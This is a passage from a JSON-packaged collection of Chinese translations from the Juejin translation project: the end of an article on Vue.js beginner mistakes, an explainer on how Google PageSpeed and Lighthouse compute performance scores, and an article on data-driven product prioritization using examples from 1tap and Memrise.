setTimout/setInterval。我回答“可以“，但还没来得及解释如何正确使用它，**我就已经被指责不够专业了**。\n\n现在我必须维护某一个人的代码，因此我将这一段文字献给他。\n\n![](https://cdn-images-1.medium.com/max/800/1*FxPRflqqk8K6wRr4jUyFBQ.png)\n\n**DON’T：** 你可以使用间隔（intervals）。但是如果你忘记使用 `clearInterval`，就会在组件卸载时出错。\n\n![](https://cdn-images-1.medium.com/max/800/1*7kBqD5KNSkCTTpP2O7FUgw.png)\n\n**DO：** 在 `beforeDestroy` 钩子中使用 `clearInterval` 来清除间隔。\n\n![](https://cdn-images-1.medium.com/max/800/1*Tmr7GIY7saojZkOPoVQfuQ.png)\n\n**DO：** 如果你不想这么麻烦，可以考虑使用 [**vue-timers**](https://github.com/kelin2025/vue-timers)。\n\n### 变异的父实例\n\n这是 Vue 中我最不喜欢的设计了，真心希望有一天能把它移除（雨溪，拜托你了）。\n\n我没有见过使用 `$parent` 的真实用例。它会使组件变得更加呆板，并且会产生一些让你意想不到的问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*MYb4iAVzlvQPZDWqCnJM0w.png)\n\n**DON’T：** 如果你试图去改变 `props`，Vue 会警告你，但是如果你通过 `$parent` 去改变 `props`，Vue 将无法检测到。\n\n![](https://cdn-images-1.medium.com/max/800/1*pJkabHNu8Gx7f4UMM07FMg.png)\n\n**DO：** 使用事件触发器（events emitter）去监听事件。此外，`v-model` 只是 `value` 属性和 `input` 事件的语法糖。\n\n![](https://cdn-images-1.medium.com/max/800/1*yypns5Qp2y_t7HrsPT5O7g.png)\n\n**DO：** Vue 还有一个语法糖：`.sync` 修饰符用于更新 `update:prop` 事件中的 `prop`。\n\n### If/else 表单验证\n\n当我发现一些需要手动验证的表单时我感到非常困惑。它会产生大量无用的样板代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*yn_pt6eFfOIz-RvMEA30gQ.png)\n\n**DON’T：** 我在新项目中被类似的代码吓坏了。不要再这样愚蠢了，这个问题有很多可行的解决方案\n\n![](https://cdn-images-1.medium.com/max/800/1*omOSNM6WmpsYSN3C4dy4dw.png)\n\n**DO：** 请使用 [**vuelidate**](https://monterail.github.io/vuelidate/)。对于每个字段只需要一行验证规则，多么整洁且具有声明性的代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*_4S2iHw93lSS_GIeceJ_YA.png)\n\n**DO：** 我也制作了一个允许你使用一个对象声明表单数据和验证的小[**插件**](https://github.com/Kelin2025/vuelidate-forms)。\n\n### 最后\n\n这些当然不全是 Vue.js 初级开发者的罪过，并且我相信这份问题清单可能是无限的，但我认为这份清单已经足够了。\n\n那么，如果你在 Vue.js 项目中看到了什么“有趣”的东西，可以在这里回复我 :)。\n\n谢谢阅读！记住不要重复愚蠢的错误 :) 特别鸣谢为 [**carbon.now.sh**](https://carbon.now.sh/) 做出贡献的人。奶思！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-pagespeed-works.md",
    "content": "> * 原文地址：[Google 的 Pagespeed 的工作原理：提升你的分数和搜索引擎排名](https://calibreapp.com/blog/how-pagespeed-works/)\n> * 原文作者：[Ben Schwarz](https://calibreapp.com/blog/author/ben-schwarz)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-pagespeed-works.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-pagespeed-works.md)\n> * 译者：[Jerry-FD](https://github.com/Jerry-FD/)\n> * 校对者：[weberpan](https://github.com/weberpan/)，[Endone](https://github.com/Endone/)\n\n# Google 的 Pagespeed 的工作原理：提升你的页面分数和搜索引擎排名\n\n![](https://calibreapp.com/blog/uploads/how-google-pagespeed-works/1.png)\n\n通过这篇文章，我们将揭开 PageSpeed 最为重要的页面速度评分的计算方法。\n\n毫无疑问，页面的加载速度已经成了提升页面收益和降低流失率的关键性因素。由于 Google 已经将页面的加载速度列入影响其搜索排名的因素，现在更多的企业和组织都把目光聚焦在提升页面性能上了。\n\n去年 **Google 针对他们的搜索排名算法做了两个重大的调整**：\n\n* 三月，[搜索结果排名以移动端版本的页面为基础](https://webmasters.googleblog.com/2018/03/rolling-out-mobile-first-indexing.html)，取代之前的桌面端版本。\n* [七月，SEO 排名算法](https://webmasters.googleblog.com/2018/01/using-page-speed-in-mobile-search.html)更新为，增加页面的加载速度作为影响其搜索排名的因素，如移动端页面排名[和广告排名。](https://developers.google.com/web/updates/2018/07/search-ads-speed#the_mobile_speed_score_for_ads_landing_pages)\n\n通过这些改变，我们可以总结出两个结论：\n\n* **手机端页面的加载速度会影响你整站的 SEO 排名。**\n* 如果你的页面加载很慢，就会降低你的广告质量分，进而你的**广告费会更贵。**\n\nGoogle 道：\n\n> 更快的加载速度不仅仅会提升我们的体验；最近的数据显示，提升页面的加载速度也会降低操作成本。和我们一样，我们的用户就很重视速度 — 这就是我们决定将页面的速度这一因素，加入搜索排名计算的原因。\n\n为了从页面性能的角度搞清楚这些变化给我们带来了什么影响，我们需要掌握这些基础知识。[PageSpeed 5.0](https://developers.google.com/speed/docs/insights/release_notes) 是之前版本的一次颠覆性的改动。现在由 Lighthouse 和 [CrUX](https://developers.google.com/web/updates/2017/12/crux) 提供技术支持（Chrome 用户体验报告部）。\n\n**这次升级使用了新的评分算法，将会使获得 PageSpeed 高分更加困难。**\n\n### PageSpeed 5.0 有哪些变化?\n\n5.0 之前，PageSpeed 会针对测试的页面给出一系列指导意见。如果页面里有很大的、未经压缩的图片，PageSpeed 会建议对图片压缩。再比如，漏掉了 Cache-Headers，会建议加上。\n\n这些建议是与一些**指导方针**对应的，如果遵从这些指导方针，**很可能**会提升你的页面性能，但这些也仅仅是表层的，它不会分析用户在真实场景下的加载和渲染页面的体验。\n\n在 PageSpeed 5.0 中，页面在 Lighthouse 的控制下被载入到真实的 Chrome 浏览器中。Lighthouse 从浏览器中获取记录各项指标，把这些指标套入得分模型里计算，最后展示一个整体的性能分。根据具体的分数指标来给出优化的指导方针。\n\n和 PageSpeed 类似，Lighthouse 也有一个性能分。在 PageSpeed 5.0 中，性能分直接从 Lighthouse 里获取。所以**现在 PageSpeed 的速度分和 Lighthouse 的性能分一样了。**\n\n![Calibre 在 Google 的 Pagespeed 上获得了 97 分](https://calibreapp.com/blog/uploads/how-google-pagespeed-works/calibre-pagespeed.png)\n\n既然我们知道了 PageSpeed 的分数从哪里来，接下来我们就来仔细研究它是如何计算的，以及我们该如何有效的提高页面的性能。\n\n### Google Lighthouse 是什么?\n\n[Lighthouse](https://calibreapp.com/blog/lighthouse-reasons/) 是一个开源项目，由一只来自 Google Chrome 的优秀团队运作。在过去的几年里，它已逐步变成免费的性能分析工具。\n\nLighthouse 使用 Chrome 的远程调试协议来获取网络请求的信息、计算 JavaScript 的性能、评估无障碍化级别以及计算用户关注的时间指标，比如 [首次内容绘制时间 First Contentful Paint](https://calibreapp.com/docs/metrics/paint-based-metrics)、[可交互时间 Time to Interactive](https://calibreapp.com/docs/metrics/time-to-interactive) 和速度指标。\n\n如果你想要深入了解 Lighthouse 的整体架构，请看来自官方的[教程](https://github.com/GoogleChrome/lighthouse/blob/master/docs/architecture.md)。\n\n### Lighthouse 如何计算性能分数\n\n在性能测试中，Lighthouse 聚焦于用户所见和用户体验，记录了很多指标。\n\n下面这 6 个指标构成了性能分数的大体部分。他们是：\n\n* 可交互时间 Time to Interactive (TTI)\n* 速度指标 Speed Index\n* 首次内容绘制时间 First Contentful Paint (FCP)\n* 首次 CPU 空闲时间 First CPU Idle\n* 首次有效绘制 First Meaningful Paint (FMP)\n* 预计输入延迟时间 Estimated Input Latency\n\nLighthouse 会针对这些指标运用一个 0 – 100 的分数模型。 这个过程会收集移动端第 75 和第 90 百分位的 [HTTP 档案](https://httparchive.org/)，然后输入到`对数正太分布`函数（校对者注：这样的话只要性能数据低于 25% 的线上移动端页面，也就是排位在 75% 以下，都给 0 分，而只要比 95% 的移动端页面得分高，就得满分）。\n\n[根据算法和可交互时间的计算所得数据](https://www.desmos.com/calculator/2t1ugwykrl)，我们可以发现，如果一个页面在 2.1 秒内成为“可交互的”，那么它的可交互时间分数指标是 92/100。\n\n![](https://calibreapp.com/blog/uploads/how-google-pagespeed-works/scoring-curve.png)\n\n当每个指标完成计分后会被分配一个权重，用权重调整后算出页面整体的性能分数。权重规则如下：\n\n| 指标                       | 权重 |\n| ------------------------- | --------- |\n| 可交互时间 (TTI) | 5        |\n| 速度指标                    | 4         |\n| 首次内容绘制时间             | 3         |\n| 首次 CPU 空闲时间            | 2         |\n| 首次有效绘制                 | 1         |\n| 预计输入延迟时间             | 0         |\n\n这些权重取决于每个指标对移动端用户的体验的影响程度。\n\n在未来，这些权重在参考来自于 Chrome 用户体验报告的用户观测数据之后，还可能会被进一步优化。\n\n你可能想知道究竟这每一个指标的权重是如何影响整体得分的。Lighthouse 团队[打造了一款实用的 Google 电子表格计算器](https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=0)来阐述具体的细节：\n\n![这张电子表格的图片可以用来计算性能分数](https://calibreapp.com/blog/uploads/how-google-pagespeed-works/weightings.png)\n\n使用上面的例子，如果我们把可交互时间从 5 秒 变为 17 秒 (全球移动端平均 TTI)，我们的分数会降低到 56% (也就是 100 分之中的 56 分)。\n\n然而，如果我们把首次内容绘制时间变为 17 秒，我们的分数会是 62%。\n\n**可交互时间 (TTI) 是对你的性能分数影响最大的指标。**\n\n因此，想要得到 PageSpeed 的高分，你**最需要**的是降低 TTI。\n\n### 剑指 TTI\n\n深入来说，有两个对 TTI 影响极大的重要因素：\n\n* 传输到页面的 JavaScript 代码的总大小\n* 主线程上 JavaScript 的运行时间\n\n我们的[可交互时间](https://calibreapp.com/blog/time-to-interactive/)文章详细说明了 TTI 的工作原理，但如果你想要一些快速无脑的优化，我们建议：\n\n**降低 JavaScript 总大小**\n\n尽可能地，移除无用的 JavaScript 代码，或者只传输当前页面会执行的代码。这可能意味着要移除老的 polyfills 或者尽量采用更小、更新的第三方库。\n\n你需要记住的是 [JavaScript 花费的](https://medium.com/reloading/javascript-start-up-performance-69200f43b201) 不仅仅是下载它所需要的时间。浏览器需要解压、解析、编译然后才最终执行，这些过程都会消耗不容忽视的时间，尤其在移动设备上。\n\n能降低你的页面脚本总大小的有效措施是：\n\n* 检查并移除对你的用户来说并不需要的 polyfills。\n* 搞清楚每一个第三方 JavaScript 库所花费的时间。使用 [webpack-bundle-analyser](https://www.npmjs.com/package/webpack-bundle-analyzer) 或者 [source-map-explorer](https://www.npmjs.com/package/source-map-explorer) 来可视化分析他们的大小。\n* 现代 JavaScript 工具（比如 webpack）可以把大的 JavaScript 应用分解成许多小的 bundles，随着用户的浏览而动态加载。这就是所谓的 [code splitting](https://webpack.js.org/guides/code-splitting/)，它会**极大地优化 TTI。**\n* [Service workers 会缓存解析和编译后所得的字节码](https://v8.dev/blog/code-caching-for-devs)。如果善加利用这个特性，用户只需花费一次解析和编译代码带来的时间损耗，在那之后的结果就会被缓存优化。\n\n### 监控可交互时间\n\n为了较好的展示用户体验的差异性，我们建议使用监控系统（比如 [Calibre](https://calibreapp.com/)），它可以测试页面在两个不同设备上的最小评分；一个较快的桌面端设备和一个中等速度的移动端设备。\n\n这样的话，你就可以得到你的用户可能体验到的最好和最差两种情况下的数据。是时候意识到，你的用户并没有使用和你一样强大的设备了。\n\n### 深度剖析\n\n为了获得剖析 JavaScript 性能的最好结果，可以刻意使用较慢的移动设备来测试你的页面。如果你的抽屉里有一部老手机，你会发现一片新的天地。\n\nChrome DevTools 的硬件仿真模块可以很好的替代真实设备来进行测试，我们写了一个详细的[性能剖析指南](https://calibreapp.com/blog/react-performance-profiling-optimization/)来帮你开始学习分析运行时的性能。\n\n## 其他的指标呢？\n\n速度指标、首次内容绘制时间和首次有效绘制都是以浏览器绘制为基础的指标。他们的影响因素很相似，往往可以被同时优化。\n\n显然，优化这些指标会相对比较容易，因为他们是通过记录页面的渲染速度来计算的。仔细遵从 Lighthouse 的性能考核准则就能优化这些指标。\n\n如果你还没有对字体进行预加载或者优化那些关键请求，那从这里入手会是一些很好的切入点。我们的文章，[关键请求](https://calibreapp.com/blog/critical-request/)，详细说明了浏览器针对你的页面是如何发起请求以及渲染关键资源的。\n\n## 跟踪过程做出优化\n\nGoogle 最近更新了搜索控制台、Lighthouse 和 PageSpeed Insights 针对你的页面的首屏的性能分析有独到之处，但是对于那些需要持续跟踪页面来提升页面性能的团队来说，就显得捉襟见肘了。\n\n[持续的性能监控](https://calibreapp.com/features) 可以保证速度优化，当页面又变差的时候团队也会立刻知晓。人为的测试会对结果引入大量的不可预期的变量，在不同区域、不同设备上的测试在没有专业的实验室环境下几乎是不可能完成的。\n\n速度已经变成影响了 SEO 排名的关键因素，尤其是目前大约 50% 的页面流量来自于移动设备。\n\n为了避免排名下降，确保你正在使用最新的性能分析套件来跟踪你的关键页面（哈，我们打造了 [Calibre](https://calibreapp.com/blog/release-notes-lighthouse-4/) 来做你的性能提升伙伴。他以 Lighthouse 为基础。每天都有很多来自全球的团队在使用它）。\n\n### 相关文章\n\n* [About Time to Interactive](https://calibreapp.com/blog/time-to-interactive/)\n* [How to optimise the performance of a JavaScript application](https://calibreapp.com/blog/react-performance-profiling-optimization/)\n* [Lighthouse Performance score Calculator](https://docs.google.com/spreadsheets/d/1Cxzhy5ecqJCucdf1M0iOzM8mIxNc7mmx107o5nj38Eo/edit#gid=283330180)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-avoid-opinion-based-product-prioritization.md",
    "content": "> * 原文地址：[How to avoid opinion-based product prioritization](https://medium.com/googleplaydev/how-to-avoid-opinion-based-product-prioritization-d398fd047ab7)\n> * 原文作者：[Tamzin Taylor](https://medium.com/@tamzint?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-avoid-opinion-based-product-prioritization.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-avoid-opinion-based-product-prioritization.md)\n> * 译者：[Yuze](https://github.com/bobmayuze)\n> * 校对者：[Yuhanlolo](https://github.com/Yuhanlolo), [geniusq1981](https://github.com/geniusq1981)\n\n# 如何避免拍脑袋想出的产品优先策略\n\n## 在看老板的脸色之外，其实我们还可以利用数据来做出更好的决策\n\n![](https://cdn-images-1.medium.com/max/800/1*1QtpBve99bpwRN2PFAokjg.png)\n\n产品决策是一件很难的事情。在大部分的公司里，做决定有时候还需要考虑到很多其他的因素。有时候会有组织内部竞争者的意见，团队领导或是老板个人的看法，甚至有时候是自己想试试新的方案。有时候阻止你做出理性决策的最大障碍来自你的 CEO 或 CFO，因为他们的想法通常你很难拒绝。\n\n既然这是个常见性的问题的话，那么，成功的 app 开发者们是如何应对那些拍脑袋想出的产品决策的呢？\n\n我采访了大约 20 个顶尖的开发者，他们当中有来自 Google 的工程师，产品经理，以及成长总监。从这些简短的采访中，他们身上都展现了三个重要的特质：\n\n*   他们都会通过实验来不断拓宽选择的可能性。\n*   数据是整个过程中最重要的一环。\n*   他们在公司文化中传播数据的价值以及信息共享的重要性。\n\n在这篇文章中，我会用 2 个例子来展示顶尖的开发者们是如何解决这些问题的。在第一个例子里面，我很荣幸有机会采用 Google 内部经常使用的产品优先策略，并且将这个方法应用到了 1tap 这个产品上。第二个例子里，我非常幸运，可以内部跟踪 2017 年最佳应用 Memrise 开发过程中使用的决策流程，得到他们团队对这个方法论的看法。\n\n### 1tap 和北极星方法\n\n\n[北极星方法](https://www.forbes.com/sites/forbesagencycouncil/2017/07/19/how-to-find-your-companys-north-star-metric/#58293ac830f8) 源于硅谷，并且已经有相对悠久的历史。在 Google 内部，Youtube 团队和 Gmail 团队经常用这个方法来帮助他们决定哪个特性应该被优先开发。根据我对他们的采访，我发现这样的方法论对于整个团队来说都是卓有成效的。我们在 Google 有专门的这么一支专业团队，所以我就顺水推舟地让他们和 1tap 团队合作来执行这个方法论。\n\n说了这么久，这个方法论到底是什么呢？从概念上讲它 非常简单，只有 4 个部分：一个指北系统，一个用户流的图，一个增长模型，还有一个简单的电子表格。毕竟，所有的数据模型都需要一个电子表格来作为载体。\n\n那么接下来就让我们一起看看这 4 个东西是如何互相合作来帮助 1tap 解决问题的吧。\n\n### 设置一个指北系统\n\n对于产品来说，这个系统类似于 KPI 的概念。它所衡量的指标包括该产品获取用户，并保持用户的参与率，转化率，以及留存率的能力。比如说我们在做一个旅馆预订应用，那么这个指标就是用户预订数。如果我们在做一个即时通讯应用，那么这个指标就是发送的信息数。\n\n1tap 的愿景是为了让自我雇佣变的更加简单一个团队。他们在 Google Play Store 上有 2 个应用：用于自动提供自动数据提取和簿记功能的 [1tap receipts](https://play.google.com/store/apps/details?id=io.onetap.app.receipts.uk) 以及用于通过收据和账单来自动计算税务的 [1tap tax](https://play.google.com/store/apps/details?id=io.onetap.app.tax)。\n\n这一次，我们用 1tap receipts 来练习这个方法论。我们很快就决定了这次的指标是交易数量相关的内容。然而，1tap 的首席增长官告诉我们：“首先，我们需要搞清楚产品的目标是在鼓励个体用户上传多份收据，还是吸引更多只上传少量收据的用户呢？” 如果我们仔细审视 1tap 为用户提供的价值，那么显而易见地，个体用户上传的收据越多，1tap 便能更好地帮助他们管理个人税务。从这个角度来看，北极星系统所衡量的核心价值是关于个体用户的，并且每个用户上传的收据越多越好。\n\n### 定义你的用户流\n\n![](https://cdn-images-1.medium.com/max/800/0*7B9lSgNbH6rkQmH3.)\n\n实现这个目标主要需要两步。首先，确认你开发的应用能够收集用户的反馈。第二，检查你的指标并且确定你用户在经过每一步流程的时候，产品所发挥的效果。这个过程非常简单，只要：\n\n*   定义你应用里的关键事件。\n*   画出不同事件之间的流是如何运作的。\n*   运用统计学来观察用户们在每个流停留的比例。\n\n你会发现这个图有 3 个主要的部分：你对新用户的获取，旧用户的回归率，以及整个产品的关键事件流。\n\n新用户的获取主要就是用户通过什么样的途径来下载你开发的应用。只要你确保你正确的设置了 UTM 标签在所有投放的链接之下，并且关联你的 AdWords 账户，你就能从 Google Play 的控制台里轻松看到你的新用户获取途径。\n\n不过每个产品的用户流都是根据具体情况而定的。但是一般都会包括登陆，上线，转化率（如果这是个付费产品）。大部分的时候，对于一个app来说会有一个你特别关注的神奇的时刻，也就是关键事件流。这个东西很多时候就代表了这个指标，也就是参与率和转化率指标，所以我们务必要包含它在指标里边儿。 \n\n最后，还有**重复流**，也就是引导用户返回 app 的东西。\n\n当流程图完善的时候，整个团队里面的成员们就能够以同样的方式谈论这个产品，并且理解用户和产品之间的交互 — 从用户获取、参与、转化到返回是如何运作的。这个就是北极星指标的影响力。\n\n在 1tap 这个例子里，这个图是这样的：\n\n![](https://cdn-images-1.medium.com/max/800/0*ihtNP20aIDYffxrn.)\n\n你会发现他们没有任何用户流的分析。对于 1tap 这个应用和团队来说，认识到让用户感觉到惊艳的那个时刻才是最重要的。也就是用户激活阶段。Jon 说：“让用户能立即看到自动提取出来的信息，这个就体现了产品的价值，也让很多用户被我们 OCR 技术的准确程度惊艳到了。”\n\n最终的用户流图是在迭代了 10 个版本之后才产生的。Jon 认为第一版的这个图简直就是一团糟。太过于细节导致整个图看起来很混乱。然后整个团队才一起努力简化那张图，并且把精力都放在重要的方面。更棒的是，整理这张图还让 1tap 的应用去除了很多冗余的功能。“如果这不是个关键点的话，我们也没必要放在 app 里面吧”，Jon 如是说。\n\n整理了图之后，1tap 团队发现他们在用户流中出现了一个断点。问题是主要出在用户在导出数据的时候。现在，他们虽然仍然处在试验阶段，但是保存这些报告的做法已经有效的帮助他们提升了用户留存率。\n\n### 构建一个增长模型\n\n下一步就是构建增长模型了。我们会需要之前在北极星方法中找到的指标来决定我们应该怎么样去发挥我们的优势以及弥补我们不够完善的地方。\n\n就像之前在构建用户流的图的时候一样，1tap 第一版的增长模型非常的复杂，有大概 16 页纸那么长。但是，通过聚焦重要内容，一个直接可行的成长模型应运而生。成长模型概括如下：\n\n![](https://cdn-images-1.medium.com/max/800/0*qnlVKnZB8odmSPE-.)\n\n这里的关键是每个用户添加的收据，这就是北极星指标。可以把它分解成每个月活跃用户（MAU）提交的收据。反过来，它也可以继续分解成每个通过不同途径添加收据的用户 — 扫描，电邮，手动输入 — 以及新用户和回头客。\n\n当他们刚开始编写 1tap 这个应用的时候，他们之前花了很多心思在数据分析上，几乎吧用户在这个应用上所有行为都进行了分析，并且这也是他们团队应以为傲的一点。然而，Jon 表示，他们的团队其实很多时候就是因为这个原因导致不知道从何处开始理解用户。因为可以参考的数据维度实在是太多了。但是这个增长模型能够很好的帮助他们通过找出北极星指标来做到这一点。\n\n但是就如 Jon 所说的那样，这个增长模型的重点是能够帮助向 CEO 解释月活用户是从何而来的，也能帮助 CFO 思考利润是从何而来的。此外，产品还能通过使用这个体系来做更好的决定。\n\n### 创建一个电子表格\n\n这整个流程的最后一步就是把模型转化成一张电子表格，并且**帮助我们评估我们的机会，从而观察这些机遇是如何帮助我们的产品增长的**。\n\n你也许早就已经发现 1tap 的增长模型会变成一张巨大的电子表格。但是这种情况下，表格的尺寸是很重要的，下图就是 Jon 和他的团队称作“计算器”其中的一部分。\n\n![](https://cdn-images-1.medium.com/max/800/0*Hmizl_Y7zhdMbNmU.)\n\n有了表格之后，1tap 开始探索了十几天各种活动对于用户平均收据数量的影响。Jon 发现这么做的好处就是他们能看到微小的改变给团队带来的好处。比如当下载到注册的转化率提升 2% 的时候，收据总数翻了一番。对比之下，从注册到激活到转化的提升对于总数的影响只有 75%。\n\n随后，1tap 团队决定把更多的精力放在让用户在使用过程中更早的发现惊喜时刻（就是注册阶段），而不是简单的通过花钱去拉拢新用户。\n\n所以这个流程和模型为 1tap 带来了什么呢？\n\n首先，这些东西让他们团队明白了他们在做什么，什么是重要的。CEO Nick 再也不需要每天都问月活是从哪里来的以及我们如何才能增加月活。一切都明明白白的写在模型里了。此外，产品对于之后的需求也更加明确，知道如何制定优先级。现在所有决定都由这个“计算器”来做。CFO 也能知道通过增加收入我们还能提升用户的留存。基本上每个人都对团队下一步的动作能有所感知。\n\n另外一个重要影响就是明白了如何去增加新用户。过去他们是不可能有这样的机会的。现在他们明白了通过和第三方合作去做一些登陆能有效的大量提高用户获取，并且提高用户留存。\n\n最后，Jon 还表示，这个模型还帮助了他们团队知道什么时候应该要雇用什么样的人。过去他们常常在错误的时间雇用不适合的人导致团队发展缓慢。\n\n### Memrise\n\n[Memrise](https://play.google.com/store/apps/details?id=com.memrise.android.memrisecompanion&hl=en_US)，作为一款语言学习应用，拥有 3500 万的用户，并且能过为他们提供超过200种语言的教学。Kristina Narusk，他们的首席增长官，认为这家公司的成长路径是非常幸运的。他们有 Ed Cooke 这样同时具备创新能力又能很好的运营团队的人作为 CEO。Ed 经常有各种各样的奇思妙想，但是同时，分辨这些想法中哪些能为产品真正带来增长也是非常有挑战性的事情。\n\n举个例子，Kristina 告诉我三年前的一天，她收到一条来自 Ed 的短信。内容是说他在英国买了一辆双层巴士，决定在欧洲环游并且录下不同国家的不同语种母语人士说一些话的方式。这是一种非常罕见的事情，所以我们整个团队不得不提出各种方案来面对这种奇葩的想法，并且把它和应用的增长结合起来。\n\nMemrise 提出了一种六维验证法来过滤这些奇妙的想法：\n\n1.  必须是可以迭代的。我们能够从一个简单的 MVP 开始不断迭代直到完善。\n2.  有立竿见影的效果。当新的想法实现的时候需要能给我们带来直观的改变。\n3.  有长远的效果。这个想法需要能在长期帮助我们的用户，而不是三分钟热度。\n4.  必须可以量化。我们需要可以量化产品对用户的影响。\n5.  可以本地化，能够尽量覆盖大量的应用市场。\n6.  和产品相关，并且是可以理解的。\n\n![](https://cdn-images-1.medium.com/max/800/0*ZFEKyBCJ09866AjF.)\n\n在探索未来新特性的时候，他们团队会用这个法则来决定开发什么而不开发什么。\n\n就像 Kristina 所说的那样，我们需要将这个具有创造性和实验性的思维方式逐渐灌输到团队和公司中。**Memrise 把产品的开发周期分为 4 个阶段：探索，定义，开发，和跟进。**\n\n![](https://cdn-images-1.medium.com/max/800/0*zHlTtMJtB4hKpYoz.)\n\n\n在探索阶段的时候，产品团队会画出 PRD，并且会有用户来测试这个新的想法。试验尝尝会包含比如设计，用户体验，内容方向相关的创新。举个例子，团队会找许多路人来测试，亦或者是一些在线的测试或者一些长期用户来测试新的特性。整个团队，包括设计师，语言学专家，以及开发者们。然而，Kristina 发现在测试产品的时候，很难让开发人员们保持冷静。他们总是会对用户不能正确打开新的特性而表示不爽。\n\n在 Memrise Membus 这个案例中（就是上面开车环游欧洲的那个），在探索阶段的时候，大巴先开去了牛津拍了些视频来测试想法是否可行。而不是直接在整个欧洲拍摄。在牛津拍摄英语的视频就是这个想法的原型。然后发现那个视频的想法对整个产品带来的好处非常明显，而且成本很低。最后我们就敲定了这个方案。\n\n当这个想法探索完毕之后，我们就到了**定义**的阶段。这一阶段，我们会明确这个新的想法的功能以及如何和用户交互。同时，也会明确测试的细节比如：\n\n*   测试的平台\n*   目标用户\n*   目标语言\n*   测试周期长度\n*   需要关注的东西\n*   分析看板应该包括的东西\n\n数据团队也参与其中。他们帮助确保该功能的构建是为了捕获正确的数据点，以便产品团队可以评估该功能的影响。这些视频用于创建高级学习模式，并作为专业版订阅的一部分。因此，了解将此模式添加到英语课程中对专业版用户转化率的影响是很重要的。在阶段结束时，整个团队充当用户，对产品构思和预测结果提供反馈。\n\n当所有的东西都准备好之后，我们就会进入**开发**的这个阶段。因为开发团队早就以及参与了探索和定义的阶段，所以在开发的时候就非常直接了，大家也知道开发特性的原因会是什么。\n\n当开发结束之后，需要产品经理决定要不要正式启用这个特性，这样用户就可以发现什么被更新了，并且开始测试这些新的特性。\n\n当应用的新版本被发布的时候，我们就到了**跟进**这个阶段。在这个阶段的时候，团队会倾向于回答问题比如 KPI 怎么样？用户的初次反馈是什么？新的特性对于应用的评分有什么样的影响？理想情况下，按照 Kristina 说的那样，这个时刻是非常享受的，因为我们可以看到结果是如何产生的。\n\nYouTube 视频链接：https://youtu.be/e2RPXKi4e90\n\n在 Memrise，他们为每个实验都有一套标准和图表。“发布后的第二天，你会发现我们一直在刷新这个页面，” Kristina 说：“看看这个功能和新想法的表现如何。就我们团队来说，我们看到出来的结果很兴奋，而且让我们知道我们做的东西是否成功是否被人们所喜爱，还是需要回到白板面前再重新思考。”Memrise 最终决定为所有语言添加视频以及对应的学习以及本地模式。\n\n### 结论\n\n![](https://cdn-images-1.medium.com/max/800/0*QnrE1nsyWfxPFOlq.)\n\n在这篇文章开始的时候我就已经说过做决定是困难的。远离拍脑袋做决定也许更加难。然而，通过分享这两个不同的做决定的方式，我希望我能帮你在为产品做决定这件事上有新的观感。无论流程是怎样的，一定要让团队里的人都参与到这个流程里面来，在数据的支持下找到合适的改变，亦或是合适活动让用户参与进来。\n\n* * *\n\n### 你的想法？\n\n如果你对决策制订以及优先级分级你自己的想法的话，欢迎你在下面评论，或者在[推特](http://twitter.com/googleplaydev)上给我们留言，并且关注我们分享的最新信息。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 